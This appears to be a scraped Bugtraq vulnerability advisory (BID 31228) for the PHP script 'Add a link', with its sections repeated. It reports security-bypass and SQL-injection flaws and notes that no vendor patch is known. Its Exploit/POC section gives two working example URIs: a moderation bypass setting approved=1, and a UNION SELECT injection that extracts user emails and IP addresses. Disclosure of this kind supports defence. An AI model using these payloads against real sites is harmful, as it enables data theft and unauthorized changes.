Add a link Security Bypass and SQL Injection Vulnerabilities
BID:31228
Info
Add a link Security Bypass and SQL Injection Vulnerabilities
| Bugtraq ID: | 31228 |
| Class: | Unknown |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Sep 17 2008 12:00AM |
| Updated: | Sep 18 2008 05:50PM |
| Credit: | Pepelux, JosS, ka0x |
| Vulnerable: |
Add a link Add a link 4 |
| Not Vulnerable: | |
Discussion
Add a link Security Bypass and SQL Injection Vulnerabilities
Add a link is prone to multiple security vulnerabilities, including multiple security-bypass issues and an SQL-injection issue.
Exploiting the security-bypass issues may allow an attacker to bypass certain security restrictions and perform unauthorized actions. The attacker can exploit the SQL-injection issue by manipulating the SQL query logic to carry out unauthorized actions on the underlying database. This will compromise the application and may aid in further attacks.
These issues affect Add a link 4 and prior versions.
Add a link is prone to multiple security vulnerabilities, including multiple security-bypass issues and an SQL-injection issue.
Exploiting the security-bypass issues may allow an attacker to bypass certain security restrictions and perform unauthorized actions. The attacker can exploit the SQL-injection issue by manipulating the SQL query logic to carry out unauthorized actions on the underlying database. This will compromise the application and may aid in further attacks.
These issues affect Add a link 4 and prior versions.
Exploit / POC
Add a link Security Bypass and SQL Injection Vulnerabilities
Attackers can exploit the issues via a browser.
The following exploit and example URIs are available:
http://www.example.com/add_link.php?url=http://www.example2.com&linkname=name_of_the_link &approved=1&[email protected]&description=blablablablablablabla&category_id=1
http://www.example.com/[addalink-path]/user_read_links.php?category_id=' UNION SELECT 1,1,1,1,1,1,concat(email,0x3a,ip),1,1,1,1 FROM Linklisttable/*
Attackers can exploit the issues via a browser.
The following exploit and example URIs are available:
http://www.example.com/add_link.php?url=http://www.example2.com&linkname=name_of_the_link &approved=1&[email protected]&description=blablablablablablabla&category_id=1
http://www.example.com/[addalink-path]/user_read_links.php?category_id=' UNION SELECT 1,1,1,1,1,1,concat(email,0x3a,ip),1,1,1,1 FROM Linklisttable/*
Solution / Fix
Add a link Security Bypass and SQL Injection Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Add a link Security Bypass and SQL Injection Vulnerabilities
References:
References:
- Add a link Homepage (Add a link)